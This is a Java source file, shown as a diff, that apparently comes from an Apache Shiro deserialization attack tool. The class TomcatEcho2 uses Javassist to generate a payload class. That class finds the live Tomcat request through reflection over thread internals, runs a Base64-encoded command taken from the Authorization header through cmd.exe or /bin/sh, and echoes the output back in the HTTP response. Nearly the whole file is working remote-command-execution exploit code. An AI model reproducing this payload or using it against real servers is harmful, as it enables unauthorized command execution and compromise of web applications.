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| 1 | +package com.summersec.attack.deser.echo; |
| 2 | + |
| 3 | +import javassist.*; |
| 4 | + |
| 5 | +import java.io.IOException; |
| 6 | + |
| 7 | +/** |
| 8 | + * @ClassName: TomcatEcho2 |
| 9 | + * @Description: TODO |
| 10 | + * @Author: Summer |
| 11 | + * @Date: 2022/1/19 11:33 |
| 12 | + * @Version: v1.0.0 |
| 13 | + * @Description: |
| 14 | + **/ |
| 15 | +public class TomcatEcho2 implements EchoPayload{ |
| 16 | + @Override |
| 17 | + public CtClass genPayload(final ClassPool pool) throws CannotCompileException, NotFoundException, IOException { |
| 18 | + final CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime()); |
| 19 | + if (clazz.getDeclaredConstructors().length != 0) { |
| 20 | + clazz.removeConstructor(clazz.getDeclaredConstructors()[0]); |
| 21 | + } |
| 22 | + |
| 23 | + |
| 24 | + |
| 25 | + clazz.addMethod(CtMethod.make(" private static void writeBody(Object var0, byte[] var1) throws Exception {\n" + |
| 26 | + " byte[] bs = (\"$$$\" + org.apache.shiro.codec.Base64.encodeToString(var1) + \"$$$\").getBytes();\n" + |
| 27 | + " Object var2;\n" + |
| 28 | + " Class var3;\n" + |
| 29 | + " try {\n" + |
| 30 | + " var3 = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" + |
| 31 | + " var2 = var3.newInstance();\n" + |
| 32 | + " var3.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(var2, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n" + |
| 33 | + " var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n" + |
| 34 | + " } catch (Exception var5) {\n" + |
| 35 | + " var3 = Class.forName(\"java.nio.ByteBuffer\");\n" + |
| 36 | + " var2 = var3.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(var3, new Object[]{bs});\n" + |
| 37 | + " var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n" + |
| 38 | + " } \n" + |
| 39 | + " }",clazz)); |
| 40 | + |
| 41 | + clazz.addMethod(CtMethod.make(" private static Object getFV(Object var0, String var1) throws Exception {\n" + |
| 42 | + " java.lang.reflect.Field var2 = null;\n" + |
| 43 | + " Class var3 = var0.getClass();\n" + |
| 44 | + "\n" + |
| 45 | + " while(var3 != Object.class) {\n" + |
| 46 | + " try {\n" + |
| 47 | + " var2 = var3.getDeclaredField(var1);\n" + |
| 48 | + " break;\n" + |
| 49 | + " } catch (NoSuchFieldException var5) {\n" + |
| 50 | + " var3 = var3.getSuperclass();\n" + |
| 51 | + " }\n" + |
| 52 | + " }\n" + |
| 53 | + "\n" + |
| 54 | + " if (var2 == null) {\n" + |
| 55 | + " throw new NoSuchFieldException(var1);\n" + |
| 56 | + " } else {\n" + |
| 57 | + " var2.setAccessible(true);\n" + |
| 58 | + " return var2.get(var0);\n" + |
| 59 | + " }\n" + |
| 60 | + " }", clazz)); |
| 61 | + clazz.addConstructor(CtNewConstructor.make("public TomcatEcho() throws Exception {\n" + |
| 62 | + " boolean var4 = false;\n" + |
| 63 | + " Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n" + |
| 64 | + " for (int var6 = 0; var6 < var5.length; ++var6) {\n" + |
| 65 | + " Thread var7 = var5[var6];\n" + |
| 66 | + " if (var7 != null) {\n" + |
| 67 | + " String var3 = var7.getName();\n" + |
| 68 | + " if (!var3.contains(\"exec\") && var3.contains(\"http\")) {\n" + |
| 69 | + " Object var1 = getFV(var7, \"target\");\n" + |
| 70 | + " if (var1 instanceof Runnable) {\n" + |
| 71 | + " try {\n" + |
| 72 | + " var1 = getFV(getFV(getFV(var1, \"this$0\"), \"handler\"), \"global\");\n" + |
| 73 | + " } catch (Exception var13) {\n" + |
| 74 | + " continue;\n" + |
| 75 | + " }\n" + |
| 76 | + " java.util.List var9 = (java.util.List) getFV(var1, \"processors\");\n" + |
| 77 | + "\n" + |
| 78 | + " for(int var10 = 0; var10 < var9.size(); ++var10) {\n" + |
| 79 | + " Object var11 = var9.get(var10);\n" + |
| 80 | + " var1 = getFV(var11, \"req\");\n" + |
| 81 | + " Object var2 = var1.getClass().getMethod(\"getResponse\",new Class[0]).invoke(var1, new Object[0]);\n" + |
| 82 | + " try {\n" + |
| 83 | + "\n" + |
| 84 | + "\n" + |
| 85 | + " var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"Host\")});\n" + |
| 86 | + " if (var3 != null && !var3.isEmpty()) {\n" + |
| 87 | + " var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n" + |
| 88 | + " var2.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(var2, new Object[]{new String(\"Host\"), var3});\n" + |
| 89 | + " var4 = true;\n" + |
| 90 | + " }\n" + |
| 91 | + "\n" + |
| 92 | + " var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"Authorization\")});\n" + |
| 93 | + " if (var3 != null && !var3.isEmpty()) {\n" + |
| 94 | + " var3 = org.apache.shiro.codec.Base64.decodeToString(var3.replaceAll(\"Basic \", \"\"));\n" + |
| 95 | + " String[] var12 = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", var3} : new String[]{\"/bin/sh\", \"-c\", var3};\n" + |
| 96 | + " writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter(\"\\\\A\").next().getBytes());\n" + |
| 97 | + " var4 = true;\n" + |
| 98 | + " }\n" + |
| 99 | + "\n" + |
| 100 | + " if (var4) {\n" + |
| 101 | + " break;\n" + |
| 102 | + " }\n" + |
| 103 | + " }catch (Exception var14) {\n" + |
| 104 | + " writeBody(var2, var14.getMessage().getBytes());\n" + |
| 105 | + " }\n" + |
| 106 | + " }\n" + |
| 107 | + "\n" + |
| 108 | + " if (var4) {\n" + |
| 109 | + " break;\n" + |
| 110 | + " }\n" + |
| 111 | + " }\n" + |
| 112 | + " }\n" + |
| 113 | + " }\n" + |
| 114 | + " }\n" + |
| 115 | + " }",clazz)); |
| 116 | + |
| 117 | + return clazz; |
| 118 | + } |
| 119 | + |
| 120 | + |
| 121 | + public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException { |
| 122 | + ClassPool pool = ClassPool.getDefault(); |
| 123 | +// TomcatEcho2 tomcatEcho2 = new TomcatEcho2(); |
| 124 | + SpringEcho springEcho = new SpringEcho(); |
| 125 | + springEcho.genPayload(pool); |
| 126 | +// tomcatEcho2.genPayload(pool); |
| 127 | + } |
| 128 | +} |
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